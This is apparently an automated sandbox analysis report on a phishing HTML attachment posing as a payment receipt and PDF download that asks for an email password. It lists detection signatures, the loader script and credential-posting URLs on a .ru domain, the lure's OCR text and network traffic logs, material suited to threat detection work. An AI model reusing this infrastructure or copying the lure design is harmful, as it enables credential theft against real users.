Create Interactive Tour

Windows Analysis Report
Payment Transfer Receipt.shtml

Overview

General Information

Sample name:	Payment Transfer Receipt.shtml
Analysis ID:	1434804
MD5:	40fd69f8373a1f2e93f18eadf5c460d2
SHA1:	aac95f38e96bc0a0f0b573681dca4d266365c7c2
SHA256:	b1f1aa5dfc3344fb57f0ddc6c0f6c3ff45937fd96b31a177c4acc9a8d5ba1c8e
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML file submission containing password form

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains obfuscate script src

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Phishing site detected (based on OCR NLP Model)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Payment Transfer Receipt.shtml MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1892,i,10982388854991220590,16675983000774423821,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Boot Survival
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/rewergtrfd.js	Avira URL Cloud: Label: phishing
Source: https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/next.php	Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Payment Transfer Receipt.shtml

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: New script tag found

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: Payment Transfer Receipt.shtml

HTTP Parser: Script src: https://ty2rtvvkw343me.ru/gtrdwefrtgrewsa/rewergtrfd.js

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: Title: Download.., does not match URL

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: Has password / email / username input fields

Source: Chrome DOM: 0.3

ML Model on OCR Text: Matched 98.1% probability on "v' PDF Adobe Veri9 re-ceiving email to download Invalid password! please enter your correct password aib@aib.gov.uk Password Download File (3ff)kb) "

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Payment%20Transfer%20Receipt.shtml	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.254.90:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.254.90:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49767 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.254.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /gtrdwefrtgrewsa/rewergtrfd.js HTTP/1.1Host: ty2rtvvkw343me.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4tEgXLkgw4BB69L&MD=HkLELfoC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/assets/main-4b805198.css HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/assets/main-849c19e6.js HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aib.gov.uksec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/stock/aib-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/2vqjkb3r/subscribe_mail.png?width=735&height=413&rnd=133510085819070000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/stock/aib-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/mknfraq2/pexels-andrea-piacquadio-3772618.jpg?width=735&height=413&rnd=133510833223370000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/2vqjkb3r/subscribe_mail.png?width=735&height=413&rnd=133510085819070000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/icons/icons.stack.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/stock/ogl-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/5ypgeure/aa7e75eb-d6ca-4eca-b49a-d679e4f2870b.jpeg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
Source: global traffic	HTTP traffic detected: GET /media/mknfraq2/pexels-andrea-piacquadio-3772618.jpg?width=735&height=413&rnd=133510833223370000 HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
Source: global traffic	HTTP traffic detected: GET /images/stock/ogl-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
Source: global traffic	HTTP traffic detected: GET /assets/images/icons/icons.stack.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
Source: global traffic	HTTP traffic detected: GET /media/5ypgeure/aa7e75eb-d6ca-4eca-b49a-d679e4f2870b.jpeg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
Source: global traffic	HTTP traffic detected: GET /images/aib-favicon.ico HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=; _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102
Source: global traffic	HTTP traffic detected: GET /images/aib-favicon.ico HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
